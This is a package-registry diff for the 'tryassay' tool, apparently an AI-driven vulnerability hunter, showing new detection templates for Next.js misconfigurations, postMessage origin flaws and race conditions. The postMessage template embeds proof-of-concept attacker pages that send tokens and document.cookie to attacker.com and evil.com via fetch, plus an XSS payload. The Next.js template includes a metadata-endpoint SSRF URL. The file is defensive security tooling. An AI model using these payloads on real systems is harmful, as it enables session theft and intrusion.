tryassay 0.33.1 → 0.34.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +20 -0
- package/dist/cli.js.map +1 -1
- package/dist/commands/hunt.d.ts +2 -0
- package/dist/commands/hunt.js +58 -7
- package/dist/commands/hunt.js.map +1 -1
- package/dist/commands/mcp.d.ts +14 -0
- package/dist/commands/mcp.js +18 -0
- package/dist/commands/mcp.js.map +1 -0
- package/dist/commands/watch.d.ts +19 -0
- package/dist/commands/watch.js +158 -0
- package/dist/commands/watch.js.map +1 -0
- package/dist/hunt/__tests__/finding-to-template.test.d.ts +1 -0
- package/dist/hunt/__tests__/finding-to-template.test.js +213 -0
- package/dist/hunt/__tests__/finding-to-template.test.js.map +1 -0
- package/dist/hunt/__tests__/parse-utils.test.js +28 -1
- package/dist/hunt/__tests__/parse-utils.test.js.map +1 -1
- package/dist/hunt/__tests__/taint-analysis.test.d.ts +1 -0
- package/dist/hunt/__tests__/taint-analysis.test.js +556 -0
- package/dist/hunt/__tests__/taint-analysis.test.js.map +1 -0
- package/dist/hunt/__tests__/templates.test.js +2 -2
- package/dist/hunt/__tests__/templates.test.js.map +1 -1
- package/dist/hunt/deep-dive.d.ts +2 -2
- package/dist/hunt/deep-dive.js +4 -4
- package/dist/hunt/deep-dive.js.map +1 -1
- package/dist/hunt/discovery.js +2 -2
- package/dist/hunt/discovery.js.map +1 -1
- package/dist/hunt/finding-to-template.d.ts +47 -0
- package/dist/hunt/finding-to-template.js +288 -0
- package/dist/hunt/finding-to-template.js.map +1 -0
- package/dist/hunt/orchestrator.d.ts +3 -0
- package/dist/hunt/orchestrator.js +20 -5
- package/dist/hunt/orchestrator.js.map +1 -1
- package/dist/hunt/taint-analysis.d.ts +49 -0
- package/dist/hunt/taint-analysis.js +429 -0
- package/dist/hunt/taint-analysis.js.map +1 -0
- package/dist/hunt/templates/csv-injection.d.ts +2 -0
- package/dist/hunt/templates/csv-injection.js +148 -0
- package/dist/hunt/templates/csv-injection.js.map +1 -0
- package/dist/hunt/templates/django-misconfig.d.ts +2 -0
- package/dist/hunt/templates/django-misconfig.js +172 -0
- package/dist/hunt/templates/django-misconfig.js.map +1 -0
- package/dist/hunt/templates/express-misconfig.d.ts +2 -0
- package/dist/hunt/templates/express-misconfig.js +156 -0
- package/dist/hunt/templates/express-misconfig.js.map +1 -0
- package/dist/hunt/templates/file-upload.d.ts +2 -0
- package/dist/hunt/templates/file-upload.js +131 -0
- package/dist/hunt/templates/file-upload.js.map +1 -0
- package/dist/hunt/templates/graphql-abuse.d.ts +2 -0
- package/dist/hunt/templates/graphql-abuse.js +161 -0
- package/dist/hunt/templates/graphql-abuse.js.map +1 -0
- package/dist/hunt/templates/hardcoded-credentials.d.ts +2 -0
- package/dist/hunt/templates/hardcoded-credentials.js +109 -0
- package/dist/hunt/templates/hardcoded-credentials.js.map +1 -0
- package/dist/hunt/templates/idor.d.ts +2 -0
- package/dist/hunt/templates/idor.js +102 -0
- package/dist/hunt/templates/idor.js.map +1 -0
- package/dist/hunt/templates/index.d.ts +2 -2
- package/dist/hunt/templates/index.js +38 -5
- package/dist/hunt/templates/index.js.map +1 -1
- package/dist/hunt/templates/insecure-deserialization.d.ts +2 -0
- package/dist/hunt/templates/insecure-deserialization.js +131 -0
- package/dist/hunt/templates/insecure-deserialization.js.map +1 -0
- package/dist/hunt/templates/mass-assignment.d.ts +2 -0
- package/dist/hunt/templates/mass-assignment.js +101 -0
- package/dist/hunt/templates/mass-assignment.js.map +1 -0
- package/dist/hunt/templates/nextjs-misconfig.d.ts +2 -0
- package/dist/hunt/templates/nextjs-misconfig.js +127 -0
- package/dist/hunt/templates/nextjs-misconfig.js.map +1 -0
- package/dist/hunt/templates/postmessage.d.ts +2 -0
- package/dist/hunt/templates/postmessage.js +180 -0
- package/dist/hunt/templates/postmessage.js.map +1 -0
- package/dist/hunt/templates/race-condition.d.ts +2 -0
- package/dist/hunt/templates/race-condition.js +138 -0
- package/dist/hunt/templates/race-condition.js.map +1 -0
- package/dist/hunt/templates/spring-misconfig.d.ts +2 -0
- package/dist/hunt/templates/spring-misconfig.js +177 -0
- package/dist/hunt/templates/spring-misconfig.js.map +1 -0
- package/dist/hunt/templates/xxe.d.ts +2 -0
- package/dist/hunt/templates/xxe.js +187 -0
- package/dist/hunt/templates/xxe.js.map +1 -0
- package/dist/hunt/triage.d.ts +2 -2
- package/dist/hunt/triage.js +4 -4
- package/dist/hunt/triage.js.map +1 -1
- package/dist/realtime/__tests__/catch-real-bugs.test.d.ts +9 -0
- package/dist/realtime/__tests__/catch-real-bugs.test.js +205 -0
- package/dist/realtime/__tests__/catch-real-bugs.test.js.map +1 -0
- package/dist/realtime/__tests__/code-buffer.test.d.ts +1 -0
- package/dist/realtime/__tests__/code-buffer.test.js +202 -0
- package/dist/realtime/__tests__/code-buffer.test.js.map +1 -0
- package/dist/realtime/__tests__/correction-injector.test.d.ts +1 -0
- package/dist/realtime/__tests__/correction-injector.test.js +168 -0
- package/dist/realtime/__tests__/correction-injector.test.js.map +1 -0
- package/dist/realtime/__tests__/stream-interceptor.test.d.ts +1 -0
- package/dist/realtime/__tests__/stream-interceptor.test.js +193 -0
- package/dist/realtime/__tests__/stream-interceptor.test.js.map +1 -0
- package/dist/realtime/__tests__/streaming-checks.test.d.ts +1 -0
- package/dist/realtime/__tests__/streaming-checks.test.js +479 -0
- package/dist/realtime/__tests__/streaming-checks.test.js.map +1 -0
- package/dist/realtime/__tests__/streaming-verifier.test.d.ts +1 -0
- package/dist/realtime/__tests__/streaming-verifier.test.js +157 -0
- package/dist/realtime/__tests__/streaming-verifier.test.js.map +1 -0
- package/dist/realtime/code-buffer.d.ts +52 -0
- package/dist/realtime/code-buffer.js +276 -0
- package/dist/realtime/code-buffer.js.map +1 -0
- package/dist/realtime/correction-injector.d.ts +56 -0
- package/dist/realtime/correction-injector.js +96 -0
- package/dist/realtime/correction-injector.js.map +1 -0
- package/dist/realtime/index.d.ts +14 -0
- package/dist/realtime/index.js +11 -0
- package/dist/realtime/index.js.map +1 -0
- package/dist/realtime/mcp-server.d.ts +14 -0
- package/dist/realtime/mcp-server.js +200 -0
- package/dist/realtime/mcp-server.js.map +1 -0
- package/dist/realtime/stream-interceptor.d.ts +65 -0
- package/dist/realtime/stream-interceptor.js +174 -0
- package/dist/realtime/stream-interceptor.js.map +1 -0
- package/dist/realtime/streaming-checks.d.ts +55 -0
- package/dist/realtime/streaming-checks.js +452 -0
- package/dist/realtime/streaming-checks.js.map +1 -0
- package/dist/realtime/streaming-verifier.d.ts +57 -0
- package/dist/realtime/streaming-verifier.js +134 -0
- package/dist/realtime/streaming-verifier.js.map +1 -0
- package/dist/realtime/types.d.ts +99 -0
- package/dist/realtime/types.js +8 -0
- package/dist/realtime/types.js.map +1 -0
- package/package.json +2 -1
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
export const nextjsMisconfig = {
|
|
2
|
+
id: 'nextjs-misconfig',
|
|
3
|
+
name: 'Next.js Misconfiguration',
|
|
4
|
+
cwe: 'CWE-284',
|
|
5
|
+
filePatterns: [
|
|
6
|
+
'next',
|
|
7
|
+
'middleware',
|
|
8
|
+
'server-action',
|
|
9
|
+
'use server',
|
|
10
|
+
'getServerSideProps',
|
|
11
|
+
'api/route',
|
|
12
|
+
'app/api',
|
|
13
|
+
'next.config',
|
|
14
|
+
],
|
|
15
|
+
negativePatterns: ['test', 'spec', 'mock', '__tests__', 'stories'],
|
|
16
|
+
minMatchScore: 1,
|
|
17
|
+
triagePrompt: `You are a security researcher hunting for Next.js-specific vulnerabilities.
|
|
18
|
+
|
|
19
|
+
These are framework-level footguns that generic web vulnerability templates miss. Focus on:
|
|
20
|
+
|
|
21
|
+
1. SERVER ACTIONS WITHOUT AUTH CHECKS
|
|
22
|
+
- Look for files with \`'use server'\` directive
|
|
23
|
+
- Every exported async function in a \`'use server'\` file is callable from the client
|
|
24
|
+
- Check whether each server action validates the user session before performing mutations
|
|
25
|
+
- A server action that deletes/updates data without \`auth()\` or \`getServerSession()\` is exploitable
|
|
26
|
+
|
|
27
|
+
2. MIDDLEWARE BYPASS
|
|
28
|
+
- Read \`middleware.ts\` or \`middleware.js\` at the project root
|
|
29
|
+
- Check the \`matcher\` config — does it cover ALL routes that need protection?
|
|
30
|
+
- Requests to \`/_next/\` paths skip middleware by default
|
|
31
|
+
- Requests to static files (images, fonts) skip middleware by default
|
|
32
|
+
- If auth is ONLY in middleware (not in the route handler), a matcher gap = auth bypass
|
|
33
|
+
|
|
34
|
+
3. SERVER COMPONENT DATA EXPOSURE
|
|
35
|
+
- Server Components run on the server but their output is sent to the client
|
|
36
|
+
- If a Server Component fetches sensitive data (admin info, other users' data) without auth checks, that data lands in the RSC payload visible in the browser
|
|
37
|
+
- Look for database queries in Server Components without session validation
|
|
38
|
+
- Check whether \`searchParams\` or \`params\` are used to access other users' data (IDOR)
|
|
39
|
+
|
|
40
|
+
4. NEXT.CONFIG.JS SECURITY
|
|
41
|
+
- \`rewrites()\` and \`redirects()\` — can the destination be user-controlled? (Open redirect)
|
|
42
|
+
- \`images.remotePatterns\` — overly permissive patterns allow SSRF via image optimization
|
|
43
|
+
- \`dangerouslyAllowSVG: true\` — SVGs can contain XSS payloads served with wrong content-type
|
|
44
|
+
- Missing \`headers()\` security headers (CSP, X-Frame-Options, etc.)
|
|
45
|
+
- \`publicRuntimeConfig\` — values here are exposed to the client, check for secrets
|
|
46
|
+
|
|
47
|
+
5. API ROUTE HANDLER ISSUES
|
|
48
|
+
- \`app/api/*/route.ts\` — check if auth is validated in each handler
|
|
49
|
+
- Missing rate limiting on API routes
|
|
50
|
+
- \`GET\` handlers that should be \`POST\` (state-changing operations via GET)
|
|
51
|
+
- Response headers not setting \`Content-Type\` correctly (XSS via JSON injection)
|
|
52
|
+
|
|
53
|
+
KNOWN BYPASS TECHNIQUES:
|
|
54
|
+
- Middleware matcher bypass: request to \`/_next/data/BUILD_ID/protected-page.json\` may skip middleware
|
|
55
|
+
- Server Action direct call: POST to the page URL with \`Next-Action\` header and form data
|
|
56
|
+
- RSC payload inspection: view source or network tab shows all data Server Components fetched
|
|
57
|
+
- Image optimization SSRF: \`/_next/image?url=http://169.254.169.254/\` if remotePatterns is \`**\`
|
|
58
|
+
- Rewrite open redirect: if rewrite destination includes user query params
|
|
59
|
+
|
|
60
|
+
RELEVANT REFERENCES:
|
|
61
|
+
- Next.js Security documentation (nextjs.org/docs/app/building-your-application/configuring/security)
|
|
62
|
+
- Next.js Server Actions security (nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations)
|
|
63
|
+
- OWASP guidance on SSR framework security
|
|
64
|
+
- Vercel security headers documentation`,
|
|
65
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a Next.js vulnerability.
|
|
66
|
+
|
|
67
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
68
|
+
|
|
69
|
+
For each vulnerability type, build a specific attack scenario:
|
|
70
|
+
|
|
71
|
+
SERVER ACTION WITHOUT AUTH:
|
|
72
|
+
1. Identify the server action function and the file it's in
|
|
73
|
+
2. Confirm it has \`'use server'\` and is exported (or passed to a client component)
|
|
74
|
+
3. Show the exact request: POST to the page URL with \`Next-Action: <action-id>\` header
|
|
75
|
+
4. Demonstrate what unauthorized mutation the attacker can perform
|
|
76
|
+
5. Show the missing auth check — where should \`getServerSession()\` or equivalent be called?
|
|
77
|
+
|
|
78
|
+
MIDDLEWARE BYPASS:
|
|
79
|
+
1. Show the middleware matcher configuration
|
|
80
|
+
2. Identify the unprotected path pattern
|
|
81
|
+
3. Craft a request URL that matches the protected route but bypasses the matcher
|
|
82
|
+
4. \`/_next/data/<buildId>/<page>.json\` often bypasses matchers that only match \`/page\`
|
|
83
|
+
5. Demonstrate what protected resource becomes accessible
|
|
84
|
+
|
|
85
|
+
DATA EXPOSURE IN SERVER COMPONENTS:
|
|
86
|
+
1. Identify the Server Component and the data it fetches
|
|
87
|
+
2. Show that no auth check exists before the database query
|
|
88
|
+
3. Explain how to view the leaked data (RSC payload in page source or __next_f script tags)
|
|
89
|
+
4. If IDOR: show how changing a URL param exposes another user's data
|
|
90
|
+
|
|
91
|
+
CONFIG ISSUES:
|
|
92
|
+
1. For \`dangerouslyAllowSVG\`: craft an SVG with embedded JavaScript
|
|
93
|
+
2. For open redirect via rewrite: show the rewrite rule and the crafted URL
|
|
94
|
+
3. For image SSRF: show the \`/_next/image\` request that reaches internal infrastructure
|
|
95
|
+
4. For exposed secrets in publicRuntimeConfig: identify what's leaked and its impact
|
|
96
|
+
|
|
97
|
+
SEVERITY GUIDANCE:
|
|
98
|
+
- Server Action without auth on destructive operation: Critical
|
|
99
|
+
- Middleware bypass exposing authenticated routes: High-Critical
|
|
100
|
+
- Data exposure in Server Components: Medium-High (depends on data sensitivity)
|
|
101
|
+
- Config issues (SVG, missing headers): Low-Medium
|
|
102
|
+
- Open redirect via rewrite: Medium
|
|
103
|
+
|
|
104
|
+
RELEVANT REFERENCES:
|
|
105
|
+
- Next.js App Router architecture (Server vs Client components)
|
|
106
|
+
- Next.js middleware execution order and matcher semantics
|
|
107
|
+
- RSC wire format and how data flows from server to client`,
|
|
108
|
+
knownBypasses: [
|
|
109
|
+
'Middleware matcher bypass via /_next/data/BUILD_ID/ prefix',
|
|
110
|
+
'Server Action called without session via direct POST with Next-Action header',
|
|
111
|
+
'Server Component data visible in RSC payload (__next_f script tags in page source)',
|
|
112
|
+
'Open redirect via next.config.js rewrite rules with user-controlled destination',
|
|
113
|
+
'Image optimization SSRF via /_next/image?url= with permissive remotePatterns',
|
|
114
|
+
'dangerouslyAllowSVG enabling XSS through SVG with embedded scripts',
|
|
115
|
+
'publicRuntimeConfig exposing secrets to client-side JavaScript',
|
|
116
|
+
'Static generation exposing authenticated data in .next/server/app/ JSON files',
|
|
117
|
+
],
|
|
118
|
+
specReferences: [
|
|
119
|
+
'Next.js Security Documentation',
|
|
120
|
+
'Next.js Server Actions and Mutations Guide',
|
|
121
|
+
'Next.js Middleware Documentation (matcher config)',
|
|
122
|
+
'OWASP Server-Side Rendering Security',
|
|
123
|
+
'Vercel Security Headers Documentation',
|
|
124
|
+
],
|
|
125
|
+
severityRange: ['low', 'critical'],
|
|
126
|
+
};
|
|
127
|
+
//# sourceMappingURL=nextjs-misconfig.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"nextjs-misconfig.js","sourceRoot":"","sources":["../../../src/hunt/templates/nextjs-misconfig.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,eAAe,GAA0B;IACpD,EAAE,EAAE,kBAAkB;IACtB,IAAI,EAAE,0BAA0B;IAChC,GAAG,EAAE,SAAS;IACd,YAAY,EAAE;QACZ,MAAM;QACN,YAAY;QACZ,eAAe;QACf,YAAY;QACZ,oBAAoB;QACpB,WAAW;QACX,SAAS;QACT,aAAa;KACd;IACD,gBAAgB,EAAE,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,WAAW,EAAE,SAAS,CAAC;IAClE,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wCA+CwB;IAEtC,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2DA0CyC;IAEzD,aAAa,EAAE;QACb,4DAA4D;QAC5D,8EAA8E;QAC9E,oFAAoF;QACpF,iFAAiF;QACjF,8EAA8E;QAC9E,oEAAoE;QACpE,gEAAgE;QAChE,+EAA+E;KAChF;IACD,cAAc,EAAE;QACd,gCAAgC;QAChC,4CAA4C;QAC5C,mDAAmD;QACnD,sCAAsC;QACtC,uCAAuC;KACxC;IACD,aAAa,EAAE,CAAC,KAAK,EAAE,UAAU,CAAC;CACnC,CAAC"}
|
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
export const postmessage = {
|
|
2
|
+
id: 'postmessage',
|
|
3
|
+
name: 'Insufficient postMessage Verification',
|
|
4
|
+
cwe: 'CWE-345',
|
|
5
|
+
filePatterns: ['postmessage', 'message', 'origin', 'addEventListener', 'onmessage', 'iframe', 'embed', 'window', 'parent', 'opener'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for postMessage origin verification vulnerabilities. This class of bug has been successfully submitted to programs including Nextcloud and many SaaS applications.
|
|
8
|
+
|
|
9
|
+
Analyze the code for window.postMessage usage and message event listeners that fail to verify the origin of incoming messages. Focus on:
|
|
10
|
+
|
|
11
|
+
1. MISSING ORIGIN CHECK:
|
|
12
|
+
window.addEventListener('message', (event) => {
|
|
13
|
+
// No event.origin check — accepts messages from ANY window
|
|
14
|
+
processData(event.data);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
2. INSUFFICIENT ORIGIN CHECK:
|
|
18
|
+
- Substring match: event.origin.includes('example.com') — matches evil-example.com
|
|
19
|
+
- EndsWith: event.origin.endsWith('.example.com') — matches if attacker controls a subdomain
|
|
20
|
+
- StartsWith: event.origin.startsWith('https://example') — matches https://example.evil.com
|
|
21
|
+
- Regex without anchors: /example\\.com/.test(event.origin) — matches evil-example.com.attacker.com
|
|
22
|
+
- Case-sensitive when it shouldn't be, or vice versa
|
|
23
|
+
|
|
24
|
+
3. WILDCARD TARGET ORIGIN:
|
|
25
|
+
targetWindow.postMessage(sensitiveData, '*');
|
|
26
|
+
// '*' means ANY origin can receive the message — data leaks to malicious iframe
|
|
27
|
+
|
|
28
|
+
4. SENSITIVE ACTIONS ON MESSAGE:
|
|
29
|
+
- Authentication tokens passed via postMessage
|
|
30
|
+
- DOM manipulation based on message content (XSS)
|
|
31
|
+
- Navigation/redirect based on message URL
|
|
32
|
+
- State changes (login, logout, settings modification)
|
|
33
|
+
- eval() or innerHTML with message data
|
|
34
|
+
|
|
35
|
+
5. IFRAME EMBEDDING:
|
|
36
|
+
- Can the vulnerable page be embedded in an iframe by an attacker?
|
|
37
|
+
- X-Frame-Options / CSP frame-ancestors may prevent embedding
|
|
38
|
+
- If embeddable + missing origin check = exploitable
|
|
39
|
+
|
|
40
|
+
ATTACK FLOW:
|
|
41
|
+
1. Attacker creates evil.com with an iframe pointing to vulnerable app
|
|
42
|
+
2. Attacker's page sends postMessage to the iframe
|
|
43
|
+
3. Vulnerable app's message listener receives the message without checking origin
|
|
44
|
+
4. Vulnerable app processes attacker-controlled data (XSS, auth bypass, etc.)
|
|
45
|
+
|
|
46
|
+
OR (data exfiltration):
|
|
47
|
+
1. Vulnerable app sends sensitive data via postMessage(data, '*')
|
|
48
|
+
2. Attacker's iframe/opener page listens for messages
|
|
49
|
+
3. Attacker receives sensitive tokens, user data, etc.
|
|
50
|
+
|
|
51
|
+
COMMON VULNERABLE PATTERNS:
|
|
52
|
+
- OAuth popup callbacks: popup sends token to opener without origin check
|
|
53
|
+
- SSO/SAML flows: login result communicated via postMessage
|
|
54
|
+
- Widget/embed communication: parent-child iframe messaging
|
|
55
|
+
- Cross-origin file pickers (Google Drive, Dropbox integrations)
|
|
56
|
+
- Payment form iframes (Stripe, PayPal custom integrations)
|
|
57
|
+
- Chat widgets embedded in third-party sites
|
|
58
|
+
|
|
59
|
+
CORRECT PATTERNS:
|
|
60
|
+
- Strict origin check: if (event.origin !== 'https://exact.example.com') return;
|
|
61
|
+
- Allowlist: const ALLOWED = ['https://app.example.com']; if (!ALLOWED.includes(event.origin)) return;
|
|
62
|
+
- Specific targetOrigin: window.postMessage(data, 'https://exact.example.com');
|
|
63
|
+
- Message type validation: check event.data.type before processing
|
|
64
|
+
|
|
65
|
+
KNOWN BYPASS TECHNIQUES:
|
|
66
|
+
- Subdomain takeover: if origin check allows *.example.com and a subdomain is claimable
|
|
67
|
+
- Origin spoofing via about:blank: iframes with about:blank inherit opener's origin in some browsers
|
|
68
|
+
- null origin: sandboxed iframes have origin "null" — if code checks event.origin !== 'null' (string comparison)
|
|
69
|
+
- data: URI iframes: data: URI pages have null origin
|
|
70
|
+
- Chained redirects: open redirect on trusted domain → attacker page → postMessage back to app
|
|
71
|
+
- Browser extensions: content scripts can postMessage with the page's origin context
|
|
72
|
+
|
|
73
|
+
RELEVANT SPECIFICATIONS:
|
|
74
|
+
- HTML Living Standard Section 9.4.3: Cross-document messaging (postMessage API)
|
|
75
|
+
- HTML Living Standard Section 7.2.5: Origin determination
|
|
76
|
+
- CWE-345: Insufficient Verification of Data Authenticity
|
|
77
|
+
- CWE-346: Origin Validation Error
|
|
78
|
+
|
|
79
|
+
For each finding, cite the EXACT addEventListener call, whether origin is checked, and what sensitive action is performed based on the message data.`,
|
|
80
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a postMessage origin verification vulnerability.
|
|
81
|
+
|
|
82
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
83
|
+
|
|
84
|
+
VERIFICATION STEPS:
|
|
85
|
+
1. Locate the message event listener and confirm origin check is missing or bypassable
|
|
86
|
+
2. Determine what the listener does with event.data:
|
|
87
|
+
- Does it manipulate the DOM? (XSS potential)
|
|
88
|
+
- Does it update auth state? (session hijack)
|
|
89
|
+
- Does it navigate/redirect? (open redirect)
|
|
90
|
+
- Does it call eval/Function/innerHTML? (code execution)
|
|
91
|
+
3. Check if the page can be embedded in an attacker-controlled iframe:
|
|
92
|
+
- X-Frame-Options header present?
|
|
93
|
+
- CSP frame-ancestors directive?
|
|
94
|
+
- If not embeddable, can the attack work via window.open instead?
|
|
95
|
+
4. For data exfiltration (postMessage with '*'):
|
|
96
|
+
- What data is sent?
|
|
97
|
+
- Can an attacker page listen for it?
|
|
98
|
+
|
|
99
|
+
PROOF-OF-CONCEPT:
|
|
100
|
+
|
|
101
|
+
Attacker page (origin check missing):
|
|
102
|
+
\`\`\`html
|
|
103
|
+
<!DOCTYPE html>
|
|
104
|
+
<html>
|
|
105
|
+
<body>
|
|
106
|
+
<iframe id="target" src="https://vulnerable-app.com/page-with-listener"></iframe>
|
|
107
|
+
<script>
|
|
108
|
+
// Wait for iframe to load
|
|
109
|
+
document.getElementById('target').onload = function() {
|
|
110
|
+
// Send malicious message — no origin check on receiver
|
|
111
|
+
this.contentWindow.postMessage({
|
|
112
|
+
type: 'auth',
|
|
113
|
+
token: 'attacker-controlled-value'
|
|
114
|
+
}, '*');
|
|
115
|
+
};
|
|
116
|
+
</script>
|
|
117
|
+
</body>
|
|
118
|
+
</html>
|
|
119
|
+
\`\`\`
|
|
120
|
+
|
|
121
|
+
Attacker page (wildcard targetOrigin — data exfiltration):
|
|
122
|
+
\`\`\`html
|
|
123
|
+
<!DOCTYPE html>
|
|
124
|
+
<html>
|
|
125
|
+
<body>
|
|
126
|
+
<iframe id="target" src="https://vulnerable-app.com/oauth-callback"></iframe>
|
|
127
|
+
<script>
|
|
128
|
+
// Listen for messages from ANY origin (app sends with '*')
|
|
129
|
+
window.addEventListener('message', function(event) {
|
|
130
|
+
// Receive sensitive token
|
|
131
|
+
fetch('https://attacker.com/steal?token=' + encodeURIComponent(JSON.stringify(event.data)));
|
|
132
|
+
});
|
|
133
|
+
</script>
|
|
134
|
+
</body>
|
|
135
|
+
</html>
|
|
136
|
+
\`\`\`
|
|
137
|
+
|
|
138
|
+
DOM XSS via postMessage:
|
|
139
|
+
\`\`\`html
|
|
140
|
+
<script>
|
|
141
|
+
// Attacker sends: { type: 'update', html: '<img src=x onerror=alert(document.cookie)>' }
|
|
142
|
+
document.getElementById('target').contentWindow.postMessage({
|
|
143
|
+
type: 'update',
|
|
144
|
+
html: '<img src=x onerror="fetch(\'https://evil.com/?\'+document.cookie)">'
|
|
145
|
+
}, '*');
|
|
146
|
+
</script>
|
|
147
|
+
\`\`\`
|
|
148
|
+
|
|
149
|
+
SEVERITY ASSESSMENT:
|
|
150
|
+
- Critical: Auth token/session exfiltration via wildcard postMessage
|
|
151
|
+
- Critical: XSS via message data injected into DOM with innerHTML
|
|
152
|
+
- High: Authentication state manipulation (forged login/logout)
|
|
153
|
+
- High: Sensitive data exfiltration (PII, tokens, settings)
|
|
154
|
+
- Medium: Open redirect via message-controlled navigation
|
|
155
|
+
- Medium: UI redressing / content injection without script execution
|
|
156
|
+
- Low: Non-sensitive state manipulation (theme, language preferences)
|
|
157
|
+
|
|
158
|
+
RELEVANT SPECIFICATIONS:
|
|
159
|
+
- HTML Living Standard Section 9.4.3 (Cross-document messaging)
|
|
160
|
+
- CWE-345 (Insufficient Verification of Data Authenticity)
|
|
161
|
+
- CWE-346 (Origin Validation Error)
|
|
162
|
+
|
|
163
|
+
Cite exact file paths, line numbers, the addEventListener call, the missing/insufficient origin check, and the sensitive operation performed.`,
|
|
164
|
+
knownBypasses: [
|
|
165
|
+
'Subdomain takeover: origin check allows *.example.com, attacker claims abandoned subdomain',
|
|
166
|
+
'Substring origin check: event.origin.includes("example.com") matches evil-example.com',
|
|
167
|
+
'null origin via sandboxed iframe or data: URI',
|
|
168
|
+
'about:blank iframe inheriting opener origin in some browsers',
|
|
169
|
+
'Open redirect on trusted domain to relay postMessage from attacker origin',
|
|
170
|
+
'Regex without anchors: /example\\.com/ matches evil-example.com.attacker.com',
|
|
171
|
+
],
|
|
172
|
+
specReferences: [
|
|
173
|
+
'HTML Living Standard Section 9.4.3 (Cross-document messaging)',
|
|
174
|
+
'HTML Living Standard Section 7.2.5 (Origin determination)',
|
|
175
|
+
'CWE-345 (Insufficient Verification of Data Authenticity)',
|
|
176
|
+
'CWE-346 (Origin Validation Error)',
|
|
177
|
+
],
|
|
178
|
+
severityRange: ['medium', 'critical'],
|
|
179
|
+
};
|
|
180
|
+
//# sourceMappingURL=postmessage.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"postmessage.js","sourceRoot":"","sources":["../../../src/hunt/templates/postmessage.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,WAAW,GAA0B;IAChD,EAAE,EAAE,aAAa;IACjB,IAAI,EAAE,uCAAuC;IAC7C,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,aAAa,EAAE,SAAS,EAAE,QAAQ,EAAE,kBAAkB,EAAE,WAAW,EAAE,QAAQ,EAAE,OAAO,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,CAAC;IACpI,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;qJAwEqI;IAEnJ,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8IAmF4H;IAE5I,aAAa,EAAE;QACb,4FAA4F;QAC5F,uFAAuF;QACvF,+CAA+C;QAC/C,8DAA8D;QAC9D,2EAA2E;QAC3E,8EAA8E;KAC/E;IACD,cAAc,EAAE;QACd,+DAA+D;QAC/D,2DAA2D;QAC3D,0DAA0D;QAC1D,mCAAmC;KACpC;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
export const raceCondition = {
|
|
2
|
+
id: 'race-condition',
|
|
3
|
+
name: 'Race Condition / TOCTOU',
|
|
4
|
+
cwe: 'CWE-362',
|
|
5
|
+
filePatterns: ['balance', 'transfer', 'withdraw', 'increment', 'count', 'stock', 'inventory', 'lock', 'mutex', 'atomic', 'transaction', 'credit', 'redeem', 'coupon', 'vote'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for race condition and time-of-check-time-of-use (TOCTOU) vulnerabilities.
|
|
8
|
+
|
|
9
|
+
Analyze the code for operations where a check and a subsequent action are not performed atomically, allowing concurrent requests to exploit the gap. Focus on:
|
|
10
|
+
|
|
11
|
+
1. Check-then-act without locking:
|
|
12
|
+
- Read balance → check balance >= amount → deduct balance (without transaction/lock)
|
|
13
|
+
- Check coupon not redeemed → mark redeemed → apply discount (separate operations)
|
|
14
|
+
- Check stock > 0 → decrement stock → create order (no atomic decrement)
|
|
15
|
+
|
|
16
|
+
2. Database operations without transactions:
|
|
17
|
+
- SELECT balance → IF balance >= amount → UPDATE balance SET balance = balance - amount
|
|
18
|
+
- Without BEGIN/COMMIT or SELECT FOR UPDATE, concurrent requests both pass the check
|
|
19
|
+
|
|
20
|
+
3. File system TOCTOU:
|
|
21
|
+
- Check if file exists → read/write file (race between check and operation)
|
|
22
|
+
- Check permissions → perform action (permissions change between check and action)
|
|
23
|
+
|
|
24
|
+
4. Business logic races:
|
|
25
|
+
- Double-spend: send two transfer requests simultaneously, both see sufficient balance
|
|
26
|
+
- Coupon reuse: redeem same single-use coupon in parallel requests
|
|
27
|
+
- Inventory oversell: buy last item with concurrent requests
|
|
28
|
+
- Vote manipulation: vote multiple times by sending concurrent requests
|
|
29
|
+
- Referral abuse: claim referral bonus multiple times concurrently
|
|
30
|
+
- Free trial abuse: start multiple free trials concurrently before first one registers
|
|
31
|
+
|
|
32
|
+
CRITICAL PATTERNS:
|
|
33
|
+
- if (user.balance >= amount) { user.balance -= amount; await user.save(); }
|
|
34
|
+
(read, check, modify, write — not atomic)
|
|
35
|
+
- const coupon = await Coupon.findOne({ code, used: false }); coupon.used = true; await coupon.save();
|
|
36
|
+
(find-then-update without atomic operation)
|
|
37
|
+
- const count = await redis.get(key); if (count < limit) { await redis.incr(key); }
|
|
38
|
+
(read-then-increment is not atomic even in Redis)
|
|
39
|
